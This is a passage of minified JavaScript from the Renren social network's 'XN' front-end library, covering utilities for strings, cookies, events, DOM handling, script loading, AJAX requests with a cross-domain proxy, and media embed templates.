try{document.domain=""+XN.env.domain+""}catch(e){try{XN={env:{shortSiteName:"人人",siteName:"人人网",domain:window.location.hostname.split(".").reverse().slice(0,2).reverse().join(".")}};document.domain=XN.env.domain}catch(e){}}function isUndefined(a){return typeof a=="undefined"}function isString(a){return typeof a=="string"}function isElement(a){return a&&a.nodeType==1}function isFunction(a){return typeof a=="function"}function isObject(a){return typeof a=="object"}function isArray(a){return Object.prototype.toString.call(a)==="[object Array]"}function isNumber(a){return typeof a=="number"}function $extend(a,c){if(!c){return a}for(var b in c){a[b]=c[b]}return a}(function(){var a={};$element=function(b){b=b.toLowerCase();if(!a[b]){a[b]=document.createElement(b)}return $(a[b].cloneNode(false))}})();function $(b){var a;if(isString(b)||isNumber(b)){a=document.getElementById(b+"")}else{a=b}if(!a){return null}if(!a._extendLevel){XN.element.extend(a)}return a}xn_getEl=$;if(!Function.prototype.bind){Function.prototype.bind=function(a){var b=this;return function(){b.apply(a,arguments)}}}ge=getEl=$;$xElement=$element;$X=$;if(typeof XN=="undefined"){XN={}}$extend(XN,{namespace:function(){var b=arguments,h=null,f,c,g;for(f=0;f<b.length;f++){g=b[f].split(".");h=XN;for(c=(g[0]=="XN")?1:0;c<g.length;c++){h[g[c]]=h[g[c]]||{};h=h[g[c]]}}return h}});XN.namespace("ui");XN.namespace("util");XN.namespace("app");XN.namespace("page");XN.namespace("config");XN.APP=XN.App=XN.app;XN.PAGE=XN.Page=XN.page;XN.CONFIG=XN.Config=XN.config;XN.DEBUG_MODE=false;XN.debug={log:function(){},on:function(){XN.DEBUG_MODE=true;if(window.console&&console.log){XN.debug.log=function(a){console.log(a)}}},off:function(){XN.debug.log=function(){}}};XN.log=function(a){XN.debug.log(a)};XN.DEBUG=XN.Debug=XN.debug;XN.debug.On=XN.debug.on;XN.debug.Off=XN.debug.off;XN.namespace("env");$extend(XN.env,{domain_reg:XN.env.domain.replace(/\./g,"\\."),staticRoot:"http://s.xnimg.cn/",swfRoot:"http://static.xiaonei.com/",wwwRoot:"http://"+XN.env.domain+"/"});XN.ENV=XN.Env=XN.env;XN.array={toQueryString:function(c,g){var b=[],f;for(var d in c){f=c[d];if(isFunction(f)){continue}if(isObject(f)){b.push(arguments.callee(f,d))}else{if(/^\d+$/.test(d)){b.push((g||d)+"="+encodeURIComponent(f))}else{b.push(d+"="+encodeURIComponent(f))}}}return b.join("&")},each:function(b,g){if(!b){return}if(!isUndefined(b.length)||!isUndefined(b[0])){for(var f=0,c=b.length;f<c;f++){if(g.call(b,f,b[f])===false){break}}}else{for(var d in b){if(!isFunction(b[d])){if(g.call(b,d,b[d])===false){break}}}}},include:function(b,d){var c=false;XN.array.each(b,function(f,a){if(a===d){c=true;return false}});return c},build:function(d){var a=[];for(var c=0,b=d.length;c<b;c++){a.push(d[c])}return a}};XN.ARRAY=XN.Array=XN.array;XN.string={nl2br:function(a){return a.replace(/([^>])\n/g,"$1<br />")},trim:function(a){return a.replace(/^\s+|\s+$/g,"")},ltrim:function(a){return a.replace(/^\s+/,"")},rtrim:function(a){return a.replace(/\s+$/,"")},strip:function(a){return XN.string.trim(a)},stripTags:function(a){return a.replace(/<\/?[^>]+>/igm,"")},escapeHTML:function(a){return a.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;")},unescapeHTML:function(a){return a.replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&nbsp;/g," ").replace(/&quot;/g,'"').replace(/&amp;/g,"&")},include:function(b,a){return b.indexOf(a)>-1},startsWith:function(b,a){return b.indexOf(a)===0},endsWith:function(c,a){var b=c.length-a.length;return b>=0&&c.lastIndexOf(a)===b},isBlank:function(a){return/^\s*$/.test(a)},isEmail:function(a){return/^[A-Z_a-z0-9-\.]+@([A-Z_a-z0-9-]+\.)+[a-z0-9A-Z]{2,4}$/.test(a)},isMobile:function(a){return/^((\(\d{2,3}\))|(\d{3}\-))?((1[345]\d{9})|(18\d{9}))$/.test(a)},isUrl:function(a){return/^(http:|ftp:)\/\/[A-Za-z0-9]+\.[A-Za-z0-9]+[\/=\?%\-&_~`@[\]\':+!]*([^<>\"])*$/.test(a)},isIp:function(a){return/^(0|[1-9]\d?|[0-1]\d{2}|2[0-4]\d|25[0-5]).(0|[1-9]\d?|[0-1]\d{2}|2[0-4]\d|25[0-5]).(0|[1-9]\d?|[0-1]\d{2}|2[0-4]\d|25[0-5]).(0|[1-9]\d?|[0-1]\d{2}|2[0-4]\d|25[0-5])$/.test(a)},isNumber:function(a){return/^\d+$/.test(a)},isZip:function(a){return/^[1-9]\d{5}$/.test(a)},isEN:function(a){return/^[A-Za-z]+$/.test(a)},isJSON:function(a){if(!isString(a)||a===""){return false}a=a.replace(/\\./g,"@").replace(/"[^"\\\n\r]*"/g,"");return(/^[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]*$/).test(a)},getQuery:function(d,c){c=c||window.location.href;if(c.indexOf("#")!==-1){c=c.substring(0,c.indexOf("#"))}var b=[],a;var f=new RegExp("(^|\\?|&)"+d+"=([^&]*)(?=&|#|$)","g");while((a=f.exec(c))!=null){b.push(decodeURIComponent(a[2]))}if(b.length==0){return null}if(b.length==1){return b[0]}return b},setQuery:function(c,d,a){a=a||window.location.href;var g="";if(!/^http/.test(a)){return a}if(a.indexOf("#")!==-1){g=a.substring(a.indexOf("#"))}a=a.replace(g,"");a=a.replace(new RegExp("(^|\\?|&)"+c+"=[^&]*(?=&|#|$)","g"),"");d=isArray(d)?d:[d];for(var b=d.length-1;b>=0;b--){d[b]=encodeURIComponent(d[b])}var f=c+"="+d.join("&"+c+"=");return a+(/\?/.test(a)?"&":"?")+f+g}};XN.String=XN.STRING=XN.string;XN.string.isNum=XN.string.isNumber;window.isJSON=XN.string.isJSON;(function(){runOnceFunc={};XN.func={empty:function(){},runOnce:function(a){if(runOnceFunc[a]){return null}runOnceFunc[a]=true;return a()}}})();XN.FUNC=XN.Func=XN.func;(function(){XN.browser={IE:!!(window.attachEvent&&!window.opera),IE6:navigator.userAgent.indexOf("MSIE 6.0")>-1,IE7:navigator.userAgent.indexOf("MSIE 7.0")>-1,IE8:navigator.userAgent.indexOf("MSIE 8.0")>-1,Opera:!!window.opera,WebKit:navigator.userAgent.indexOf("AppleWebKit/")>-1,Gecko:navigator.userAgent.indexOf("Gecko")>-1&&navigator.userAgent.indexOf("KHTML")==-1,copy:function(c){function a(){if(isElement(c)){c.select()}}var b;if(isElement(c)){b=c.value}else{b=c}if(window.clipboardData&&clipboardData.setData){if(clipboardData.setData("text",b)){return true}}else{XN.DO.alert({message:"您的浏览器不支持脚本复制,请尝试手动复制",callBack:function(){a()}});return false}XN.DO.alert({message:"您的浏览器设置不允许脚本访问剪切板",callBack:function(){a()}});return false}}})();XN.BROWSER=XN.Browser=XN.browser;XN.cookie={get:function(b){var f=b+"=";var a=document.cookie.split(";");for(var d=0;d<a.length;d++){var g=a[d];while(g.charAt(0)==" "){g=g.substring(1,g.length)}if(g.indexOf(f)==0){return decodeURIComponent(g.substring(f.length,g.length))}}return null},set:function(c,f,j,h,d,g){var a;if(isNumber(j)){var b=new Date();b.setTime(b.getTime()+(j*24*60*60*1000));a=b.toGMTString()}else{if(isString(j)){a=j}else{a=false}}document.cookie=c+"="+encodeURIComponent(f)+(a?";expires="+a:"")+(h?";path="+h:"")+(d?";domain="+d:"")+(g?";secure":"")},del:function(a,d,b,c){XN.cookie.set(a,"",-1,d,b,c)}};XN.COOKIE=XN.Cookie=XN.cookie;(function(){var b=XN.browser;XN.event={isCapsLockOn:function(f){var g=f.keyCode||f.which;var d=f.shiftKey;if(((g>=65&&g<=90)&&!d)||((g>=97&&g<=122)&&d)){return true}return false},element:function(d){var f=d.target||d.srcElement;return c.resolveTextNode(f)},relatedTarget:function(f){var d=f.relatedTarget;if(!d){if(f.type=="mouseout"||f.type=="mouseleave"){d=f.toElement}else{if(f.type=="mouseover"){d=f.fromElement}}}return c.resolveTextNode(d)},resolveTextNode:function(f){try{if(f&&3==f.nodeType){return f.parentNode}}catch(d){}return f},pointerX:function(d){return d.pageX||(d.clientX+(document.documentElement.scrollLeft||document.body.scrollLeft))},pointerY:function(d){return d.pageY||(d.clientY+(document.documentElement.scrollTop||document.body.scrollTop))},isStrictMode:document.compatMode!="BackCompat",pageHeight:function(){return this.isStrictMode?Math.max(document.documentElement.scrollHeight,document.documentElement.clientHeight):Math.max(document.body.scrollHeight,document.body.clientHeight)},pageWidth:function(){return this.isStrictMode?Math.max(document.documentElement.scrollWidth,document.documentElement.clientWidth):Math.max(document.body.scrollWidth,document.body.clientWidth)},winWidth:function(){return this.isStrictMode?document.documentElement.clientWidth:document.body.clientWidth},winHeight:function(){return this.isStrictMode?document.documentElement.clientHeight:document.body.clientHeight},scrollTop:function(){if(XN.browser.WebKit){return window.pageYOffset}return this.isStrictMode?document.documentElement.scrollTop:document.body.scrollTop},scrollLeft:function(){if(XN.browser.WebKit){return window.pageXOffset}return this.isStrictMode?document.documentElement.scrollLeft:document.body.scrollLeft},stop:null,addEvent:null,delEvent:null,enableCustomEvent:function(d){$extend(d,{addEvent:function(g,h){if(!this._customEventListeners){this._customEventListeners={}}var f=this._customEventListeners;if(isUndefined(f[g])){f[g]=[]}f[g].push(h);return this},delEvent:function(h,j){var f=this._customEventListeners[h];if(f){for(var g=f.length-1;g>=0;g--){if(f[g]==j){f[g]=null;break}}}return this},fireEvent:function(l){if(!this._customEventListeners||!this._customEventListeners[l]){return}var g=this._customEventListeners[l],m=XN.array.build(arguments);m.shift();for(var k=0,h=g.length;k<h;k++){if(g[k]){try{g[k].apply(this,m)}catch(f){if(XN.DEBUG_MODE){throw f}}}}}});return d}};var c=XN.event;if(b.IE){c.stop=function(d){d.returnValue=false;d.cancelBubble=true}}else{c.stop=function(d){d.preventDefault();d.stopPropagation()}}var a=function(g,f){var h=g.relatedTarget;while(h&&h!=f){try{h=h.parentNode}catch(d){h=f}}return h!==f};if(window.attachEvent&&!b.Opera){c.addEvent=function(f,d,g){f=$(f);if(d=="keypress"){d="keydown"}if(d=="input"){d="propertychange"}f.attachEvent("on"+d,g);return f};c.delEvent=function(f,d,g){f=$(f);if(d=="keypress"){d="keydown"}if(d=="input"){d="propertychange"}f.detachEvent("on"+d,g);return f}}else{if(window.addEventListener){c.addEvent=function(g,f,h,d){g=$(g);if(f=="mouseleave"){g.onmouseleave=function(j){j=j||window.event;if(a(j,g)&&h){h.call(g,j)}};g.addEventListener("mouseout",g.onmouseleave,d);return g}if(f=="keypress"&&b.WebKit){f="keydown"}g.addEventListener(f,h,d);return g};c.delEvent=function(g,f,h,d){g=$(g);if(f=="mouseleave"){g.removeEventListener("mouseout",g.onmouseleave,d);return g}if(f=="keypress"&&b.WebKit){f="keydown"}g.removeEventListener(f,h,d);return g}}}})();XN.EVENT=XN.Event=XN.event;(function(){var j=XN.event;var h=XN.array;var g=XN.browser;var b=false;var k=[];function f(){if(!k){return}XN.array.each(k,function(m,l){try{l()}catch(n){if(XN.DEBUG_MODE){throw n}}})}var d=null;function c(m){m=m||0.3;var n=$element("div");d=n;n.setStyle(["position:absolute;","top:0;","left:0;","background:#000;","z-index:2000;","opacity:"+m+";","filter:alpha(opacity="+(m*100)+");"].join(""));n.innerHTML=['<iframe width="100%" height="100%" frameBorder="0" style="position:absolute;top:0;left:0;z-index:1;"></iframe>','<div style="position:absolute;top:0;left:0;width:100%;height:100%;background-color:#000000;z-index:2;height:expression(this.parentNode.offsetHeight);"></div>'].join("");function l(){n.hide();n.style.height=XN.event.pageHeight()+"px";n.style.width=XN.event.pageWidth()+"px";n.show()}l();XN.event.addEvent(window,"resize",function(o){if(d&&d.style.display!="none"){try{l()}catch(o){}}});document.body.appendChild(n)}XN.dom={disable:function(l){if(!d){c(l)}},enable:function(){if(d){d.remove();d=null}},insertAfter:function(m,l){m=$(m);l=$(l);var n=l.parentNode;if(n.lastChild==l){n.appendChild(m)}else{n.insertBefore(m,l.nextSibling)}},getElementsByClassName:function(n,m,l){var q=($(m)||document).getElementsByTagName(l||"*")||document.all;var o=[];var p=new RegExp("(^|\\s)"+n+"(\\s|$)");h.each(q,function(t,s){if(p.test(s.className)){o.push(s)}});return o},ready:function(l){b?l():k.push(l)},preloadImg:function(l){l=isArray(l)?l:[l];h.each(l,function(n,m){new Image().src=m})}};if(g.WebKit){var a=setInterval(function(){if(/loaded|complete/.test(document.readyState)){b=true;f();clearInterval(a)}},10)}else{if(document.addEventListener){document.addEventListener("DOMContentLoaded",function(){b=true;f()},false)}else{var a=setInterval(function(){try{document.body.doScroll("left");clearInterval(a);b=true;f()}catch(l){}},20)}}})();XN.DOM=XN.Dom=XN.dom;XN.dom.readyDo=XN.dom.ready;XN.dom.ready(function(){$=ge=getEl=xn_getEl});XN.namespace("config");XN.config.jumpOut=true;XN.dom.ready(function(){if(XN.config.parentDomain||(!XN.config.jumpOut)){return}try{top.location.href.indexOf("x")}catch(a){try{top.location=self.location}catch(a){}}});(function(){var a={};var k={};function j(m){return !!c(m)}function c(m){return a[encodeURIComponent(m)]}function f(m){var n={};n.file=m;n.isLoad=true;n.isLoaded=true;a[encodeURIComponent(m)]=n}function b(m){var o={};o.file=m;o.isLoaded=false;XN.EVENT.enableCustomEvent(o);o.addEvent("load",function(){this.isLoaded=true});a[encodeURIComponent(m)]=o;var n=$element("script");n.type="text/javascript";n.src=m;o.element=n;if(XN.Browser.IE){n.onreadystatechange=function(){if((this.readyState=="loaded"||this.readyState=="complete")&&!this.hasLoad){this.hasLoad=true;c(m).fireEvent("load")}}}else{n.onload=function(){c(m).fireEvent("load")}}document.getElementsByTagName("head")[0].appendChild(n)}function h(o,q){var n=false,m=false;if(isObject(o)){n=(o.type=="js");m=(o.type=="css");o=o.file}o=l(o);if(/\.js(\?|$)/.test(o)||n){if(!j(o)){b(o)}if(!q){return}if(c(o).isLoaded){q.call(c(o))}else{c(o).addEvent("load",q)}}else{if(/\.css(\?|$)/.test(o)||m){if(j(o)){return}f(o);var p=$element("link");p.rel="stylesheet";p.type="text/css";p.href=o;document.getElementsByTagName("head")[0].appendChild(p);if(q){q.call(c(o))}}}}function l(m){XN.func.runOnce(g);if(!k[m]){return m}return k[m].file}function d(n){var m;if(m=new RegExp("("+XN.env.staticRoot+")(a?\\d+)/([^?]*)").exec(n)){k[m[1]+m[3]]={file:n,version:m[2]}}else{if(m=new RegExp("(.*)\\?ver=(\d+)(..*)").exec(n)){k[m[1]]={file:n,version:m[2]}}}}XN.getFileVersion=function(m){XN.array.each(m,function(o,n){d(n)})};XN.loadFile=function(m,n){h(m,n)};XN.loadFiles=function(m,o){var n=m.length;function p(){n--;if(n===0&&o){o()}}XN.array.each(m,function(s,q){XN.loadFile(q,p)})};XN.getVersion=function(m){d(m)};function g(){XN.array.each(document.getElementsByTagName("script"),function(n,m){if(m.src){f(m.src);d(m.src)}if(m.getAttribute("vsrc")){d(m.getAttribute("vsrc"))}});XN.array.each(document.getElementsByTagName("link"),function(n,m){if(m.rel&&m.rel=="stylesheet"){f(m.href);d(m.href)}if(m.getAttribute("vhref")){d(m.getAttribute("vhref"))}});XN.log("load file version:");XN.log(k)}XN.dynamicLoad=function(m){XN.array.each(m.funcs,function(n,o){window[o]=function(){var p=arguments;window[o]=null;if(m.file){m.files=[m.file]}XN.loadFiles(m.files,function(){window[o].apply(null,p);if(m.callBack){m.callBack.call(null)}})}})};XN.namespace("img");XN.img.getVersion=function(m){XN.func.runOnce(g);if(!k[m]){return""}return k[m].version};XN.img.getFullName=function(m){return l(m)}})();(function(){var addEvent=XN.event.addEvent;var delEvent=XN.event.delEvent;var browser=XN.browser;XN.element={clear:function(element){element=$(element);element.innerHTML="";return element},hover:function(element,className,hover){element=$(element);hover=hover?$(hover):element;addEvent(element,"mouseover",function(){hover.addClass(className)},false);addEvent(element,"mouseleave",function(){hover.delClass(className)},false);return element},scrollTo:function(element,effect){element=$(element);effect=effect||"normal";switch(effect){case"slow":XN.EFFECT.scrollTo(element);break;default:window.scrollTo(0,element.realTop());break}return element},visible:function(element){element=$(element);return element.style.display!="none"&&element.style.visibility!="hidden"},toggleClass:function(element,className){if(This.hasClassName(element,className)){This.delClass(element,className)}else{This.addClass(element,className)}return $(element)},hasClassName:function(element,className){return new RegExp("(^|\\s+)"+className+"(\\s+|$)").test($(element).className)},addClass:function(element,className){element=$(element);if(This.hasClassName(element,className)){return element}element.className+=" "+className;return element},delClass:function(element,className){element=$(element);element.className=element.className.replace(new RegExp("(^|\\s+)"+className+"(\\s+|$)","g")," ");return element},show:function(element,effect){element=$(element);if(element.style.display!="none"){return}effect=effect||"normal";switch(effect){case"normal":element.style.display="";break;case"fade":XN.EFFECT.fadeIn(element,function(e){e.style.display=""});break;case"slide":XN.EFFECT.slideOpen(element);break;case"delay":setTimeout(function(){element.style.display=""},2000);break}return element},hide:function(element,effect){element=$(element);if(element.style.display=="none"){return}effect=effect||"normal";switch(effect){case"normal":element.style.display="none";break;case"fade":XN.EFFECT.fadeOut(element,function(e){e.style.display="none"});break;case"slide":XN.EFFECT.slideClose(element);break;case"delay":setTimeout(function(){element.style.display="none"},2000);break}return element},remove:function(element){var element=$(element);element.parentNode.removeChild(element);return element},setStyle:function(element,style){var element=$(element);element.style.cssText+=";"+style;return element},getStyle:function(element,style){element=$(element);style=style=="float"?"cssFloat":style;var value=element.style[style];if(!value){var css=document.defaultView.getComputedStyle(element,null);value=css?css[style]:null}if(style=="opacity"){return value?parseFloat(value):1}return value=="auto"?null:value},addEvent:function(){addEvent.apply(null,arguments);return arguments[0]},delEvent:function(){delEvent.apply(null,arguments);return arguments[0]},addChild:function(father,child){father=$(father);if(isString(child)){var element=(child.substring(0,1)=="#")?$(child.substring(1,child.length)):child;if(isString(element)){father.innerHTML+=element}else{father.appendChild(element)}}else{if(isElement(child)){father.appendChild(child)}else{if(child.iAmUIelement){father.appendChild($(child.frame))}else{if(child.iAmXmlhttp){child.fillTo=father;father.startLoading()}}}}return father},delChild:function(father,child){child=$(child);child.remove();return $(father)},setContent:function(element,c){element=$(element);element.innerHTML="";element.addChild(c);return element},getPosition:function(element,parentE){parentE=$(parentE)||document.body;element=$(element);var rl=0;var rt=0;var p=element;try{while(p&&p!=parentE){rl+=p.offsetLeft;rt+=p.offsetTop;p=p.offsetParent}}catch(e){}return{left:rl,top:rt}},realLeft:function(element,p){return This.getPosition(element,p||null).left},realTop:function(element,p){return This.getPosition(element,p||null).top},appendHTML:function(element,str,getElements){element=$(element);var f=document.createDocumentFragment();var t=$element("div");t.innerHTML=str;while(t.firstChild){f.appendChild(t.firstChild)}var tmp=XN.array.build(f.childNodes);element.appendChild(f);if(getElements){return tmp}return element},startLoading:function(element,msg){element=$(element);element.innerHTML='<center><img src="'+XN.ENV.staticRoot+'img/indicator.gif" />'+(msg||"加载中...")+"</center>";return element},stopLoading:function(element){element=$(element);return element},eval_inner_JS:function(el){var js=$(el).getElementsByTagName("script");XN.array.each(js,function(i,s){if(s.src){XN.loadFile(s.src)}else{var inner_js="__inner_js_out_put = [];\n";inner_js+=s.innerHTML.replace(/document\.write/g,"__inner_js_out_put.push");eval(inner_js);if(__inner_js_out_put.length!==0){var tmp=document.createDocumentFragment();$(tmp).appendHTML(__inner_js_out_put.join(""));s.parentNode.insertBefore(tmp,s)}}})}};XN.element.extend=function(element){if(element._extendLevel){return element}var cache=This.extend.cache;for(var m in This){if(!(m in element)){element[m]=cache.findOrStore(This[m])}}return element};XN.element.extend.cache={findOrStore:function(value){return this[value]=this[value]||function(){return value.apply(null,[this].concat(XN.array.build(arguments)))}}};var This=XN.element;if(browser.IE){XN.element.getStyle=function(element,style){element=$(element);style=(style=="float"||style=="cssFloat")?"styleFloat":style;var value=element.style[style];if(!value&&element.currentStyle){value=element.currentStyle[style]}if(style=="opacity"){if(value=(element.getStyle("filter")||"").match(/alpha\(opacity=(.*)\)/)){if(value[1]){return parseFloat(value[1])/100}}return 1}if(value=="auto"){if((style=="width"||style=="height")&&(element.getStyle("display")!="none")){return element["offset"+(style=="width"?"Width":"Height")]+"px"}return null}return value}}if(document.addEventListener){XN.element.setOpacity=function(element,opacity){element=$(element);element.style.opacity=opacity;return element}}else{XN.element.setOpacity=function(element,opacity){element=$(element);element.style.zoom=1;element.style.filter="Alpha(opacity="+Math.ceil(opacity*100)+")";return element}}})();XN.ELEMENT=XN.Element=XN.element;XN.namespace("net");XN.net.proxys={};XN.net.sendForm=function(a){XN.log("send form");a.data=XN.FORM.serialize(a.form);return new XN.net.xmlhttp(a)};XN.net.xmlhttp=function(d){var b=this;if(!XN.net.cache){XN.net.cache=new XN.util.cache()}var h=arguments;if(h.length>1){this.url=h[0]||null;this.data=h[1]||"";this.onSuccess=h[2];$extend(this,h[3]);j(window);return this}$extend(this,d);var a;if(this.useCache&&(a=XN.net.cache.get(this.url+encodeURIComponent(this.data)))){this.transport={};this.transport.responseText=a;setTimeout(function(){b._onComplete();b._onSuccess()},0);return this}function k(m){var l=$element("a");l.href=m;return l.hostname}if(/^http/.test(this.url)){var c=k(window.location.href);var f=k(this.url);if(c!=f){if(XN.net.proxys[f]){j(XN.net.proxys[f]);return b}else{var g=$element("iframe").hide();document.body.appendChild(g);g.src="http://"+f+"/ajaxproxy.htm";XN.event.addEvent(g,"load",function(){try{j(g.contentWindow);XN.net.proxys[f]=g.contentWindow}catch(l){}});return b}}else{j(window)}}else{j(window)}function j(l){b.transport=b.getTransport(l);if(b.url&&b.url!==""){b.send(b.method)}}};XN.net.xmlhttp.prototype={url:null,data:"",onSuccess:null,onFailure:null,onError:null,fillTo:null,method:"post",asynchronous:true,transport:null,headers:null,iAmXmlhttp:true,useCache:false,abort:function(){this.transport.abort()},send:function(c){var b;if(c=="get"&&this.data!==""){b=this.url+(/\?/.test(this.url)?"&":"?")+this.data}else{b=this.url}if(this.asynchronous){this.transport.onreadystatechange=this.onStateChange.bind(this)}this.transport.open(c,b,this.asynchronous);this.transport.setRequestHeader("Content-Type","application/x-www-form-urlencoded");if(this.headers!==null){for(var a in this.headers){this.transport.setRequestHeader(a,this.headers[a])}}this.transport.send(c=="post"?(this.data||""):null);if(!this.asynchronous){this._onComplete()}},_onSuccess:function(b){var c=this.transport;if(this.fillTo!==null){try{this.fillTo.stopLoading()}catch(a){}this.fillTo.innerHTML=c.responseText}try{if(this.onSuccess){this.onSuccess.call(null,c)}}catch(a){if(XN.DEBUG_MODE){throw a}}},_onComplete:function(b){var c=this.transport;try{if(this.onComplete){this.onComplete.call(null,c)}}catch(a){if(XN.DEBUG_MODE){throw a}}},onStateChange:function(){var a=this.transport;if(a.readyState==4){this._onComplete();if(a.status==undefined||a.status==0||(a.status>=200&&a.status<300)){if(this.useCache){XN.net.cache.add(this.url+encodeURIComponent(this.data),this.transport.responseText)}this._onSuccess()}else{(this.onError||this.onFailure||XN.func.empty).call(null,a)}}}};if(XN.browser.IE){XN.net.xmlhttp.prototype.getTransport=function(a){if(a!==window){return a.getTransport()}try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(b){return new ActiveXObject("Microsoft.XMLHTTP")}}}else{XN.net.xmlhttp.prototype.getTransport=function(a){if(a!==window){return a.getTransport()}return new XMLHttpRequest()}}XN.NET=XN.Net=XN.net;XN.net.ajax=XN.net.xmlhttp;$extend(XN.net.xmlhttp.prototype,{get:function(a,b,d,c){this.url=a;this.data=b;this.onSuccess=d;$extend(this,c);this.send("get")},post:function(a,b,d,c){this.url=a;this.data=b;this.onSuccess=d;$extend(this,c);this.send("post")}});if(typeof Ajax=="undefined"){Ajax={};Ajax.Request=function(a,c){var b=c.parameters;c.url=a;c.data=b;delete c.parameters;return new XN.net.xmlhttp(c)}}XN.template={};XN.template.mediaPlayer=function(a){return['<object classid="CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95" width="'+(a.width||"352")+'" height="'+(a.height||"70")+'" >\n','<param name="autostart" value="'+(a.autostart||"1")+'" >\n','<param name="showstatusbar" value="'+(a.showstatusbar||"1")+'">\n','<param name="filename" value="'+a.filename+'">\n','<embed type="application/x-oleobject" codebase="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701" ','flename="mp"','autostart="'+(a.autostart||"1")+'" showstatusbar="'+(a.showstatusbar||"1")+'" ','src="'+a.filename+'" width="'+(a.width||"352")+'" height="'+(a.height||"70")+'"></embed>'].join("")};XN.template.flashPlayer=function(a){return'<embed src="'+XN.ENV.staticRoot+"/swf/player.swf?url="+a.filename+"&Rwid="+(a.width||"450")+"&Autoplay="+(a.autostart||"1")+'" wmode="'+(a.wmode||"transparent")+'" loop="false" menu="false" quality="high" scale="noscale" salign="lt" bgcolor="#ffffff" width="'+(a.width||"450")+'" height="'+(a.height||"30")+'" align="middle" allowScriptAccess="'+(a.allowScriptAccess||"sameDomain")+'" allowFullScreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />'};XN.template.flash=function(a){return'&nbsp;<embed src="'+a.filename+'" type="application/x-shockwave-flash" width="'+(a.width||"320")+'" height="'+(a.height||"240")+'" allowFullScreen="true" wmode="'+(a.wmode||"transparent")+'" allowScriptAccess="'+(a.allowScriptAccess||"sameDomain")+'"></embed>'};XN.Template=XN.TEMPLATE=XN.template;XN.namespace("util");XN.util.cache=function(a){$extend(this,a);this._cacheData=[]};XN.util.cache.prototype={cacheLength:null,_cacheData:null,isExist:function(a){return this.get(a)},add:function(a,b){if(!isUndefined(this.isExist(a))){return}if(this.cacheLength&&this.cacheLength==this._cacheData.length){this._cacheData.shift()}this._cacheData.push({key:a,value:b})},get:function(b){for(var a=this._cacheData.length-1;a>=0;a--){if(this._cacheData[a].key==b){return this._cacheData[a].value}}},clear:function(){this._cacheData=[]}};XN.UTIL=XN.Util=XN.util;XN.util.DS_JSON=function(a){$extend(this,a)};XN.util.DS_JSON.prototype={DS_TYPE:"JSON",url:null,queryParam:"query",attachParam:"",rootKey:null,_request:null,query:function(a,b){var f=this;try{this._request.abort()}catch(c){}function d(j){j=j.responseText;var h;try{var g=XN.JSON.parse(j);if(f.rootKey&&g[f.rootKey]){h=g[f.rootKey]}else{h=g}}catch(k){h=[]}b(h)}this._request=new XN.net.xmlhttp({url:this.url,data:this.queryParam+"="+encodeURIComponent(a)+"&"+this.attachParam,method:"get",onSuccess:d})}};XN.ui.DS_JSON=XN.util.DS_JSON;XN.util.DS_friends=function(c){var b=new XN.util.DS_JSON(c);b.queryParam="p";b.rootKey="candidate";b.net="";b.group="";b.param=XN.json.build(c.param||{});var a=isUndefined(c.limit)?24:c.limit;b.query=function(d,f){XN.log("start query");d=d.replace(/[^a-zA-Z\u0391-\uFFE5]/g,"");if(XN.string.isBlank(d)&&this.group==""&&this.net==""){f([]);return}var g=['{"init":false,','"qkey":"'+this.qkey+'",','"uid":true,','"uname":true,','"uhead":true,','"limit":'+a+",",'"param":'+this.param+",",'"query":"'+d+'",','"group":"'+this.group+'",','"net":"'+this.net+'"',"}"].join("");XN.util.DS_JSON.prototype.query.call(this,g,f)};return b};XN.ui.DS_friends=XN.util.DS_friends;XN.util.DS_Array=function(a){$extend(this,a);this.init()};XN.util.DS_Array.prototype={DS_TYPE:"array",data:null,searchKey:null,init:function(){var b=this.searchKey,a=this._index=[];XN.array.each(this.data,function(d,c){a.push(c[b])})},query:function(a,b){b(this._search(a))},_search:function(b){var d=this._index,f=this.data,a=[],c=new RegExp("^"+b,"i");XN.array.each(d,function(h,g){if(c.test(g)){a.push(f[h])}});return a}};XN.ui.DS_Array=XN.util.DS_Array;XN.util.DS_XHR=function(a){$extend(this,a)};XN.util.DS_XHR.prototype={url:null,queryParam:"query",_request:null,query:function(a,c){var f=this;try{this._request.abort()}catch(d){}function b(j){j=j.responseXML;var g=[];function l(n){var m={};XN.array.each(n.childNodes,function(p,o){m[o.tagName.toLowerCase()]=o.firstChild.nodeValue});return m}try{var h=j.getElementsByTagName("Result");XN.array.each(h,function(n,m){g.push(l(m))})}catch(k){g=[]}c(g)}this._request=new XN.net.xmlhttp({url:this.url,data:this.queryParam+"="+encodeURIComponent(a),onSuccess:b})}};XN.ui.DS_XHR=XN.util.DS_XHR;(function(){var a={};XN.util.hotKey={add:function(d,f,j){d=String(d).toLowerCase();var g=false;var h=false;var b=false;var c=null;if(/^\d+$/.test(d)){c=parseInt(d)}else{g=/ctrl|ctr|c/.test(d);h=/alt|a/.test(d);b=/shift|s/.test(d);if(/\d+/.test(d)){c=parseInt(/\d+/.exec(d)[0])}else{c=false}}a[d]=a[d]||{};a[d][f]=function(k){k=k||window.event;code=k.keyCode;if(g&&!k.ctrlKey){return}if(h&&!k.altKey){return}if(b&&!k.shiftKey){return}if(c&&code!==c){return}f.call(j||null);XN.event.stop(k)};XN.event.addEvent(document,"keydown",a[d][f])},del:function(b,c){b=String(b).toLowerCase();XN.event.delEvent(document,"keydown",a[b][c]);delete a[b][c]}}})();(function(){var a=0;XN.util.createObjID=function(){a++;return a}})();XN.DO=XN.Do={};(function(){var b=null;var c=null;XN.DO.alert=function(s,p,o,f,d,q,l,g){try{b.remove()}catch(m){}var j={type:"normal",width:400,button:"确定",callBack:XN.func.empty,autoHide:0,params:{addIframe:true}};if(!isString(s)){$extend(j,s)}if(isString(s)||arguments.length>1){var k=arguments;XN.array.each(["message","title","type","X","Y","width","height","callBack"],function(t,h){if(k[t]){j[h]=k[t]}})}var n=new XN.ui.dialog(j.params).setType(j.type).setTitle(j.title||(j.type=="error"?"错误提示":"提示")).setBody(j.msg||j.message||"").setWidth(j.width).setHeight(j.height).setX(j.X).setY(j.Y).addButton({text:(j.yes||j.button),onclick:function(){n.setAutoHide(true);return 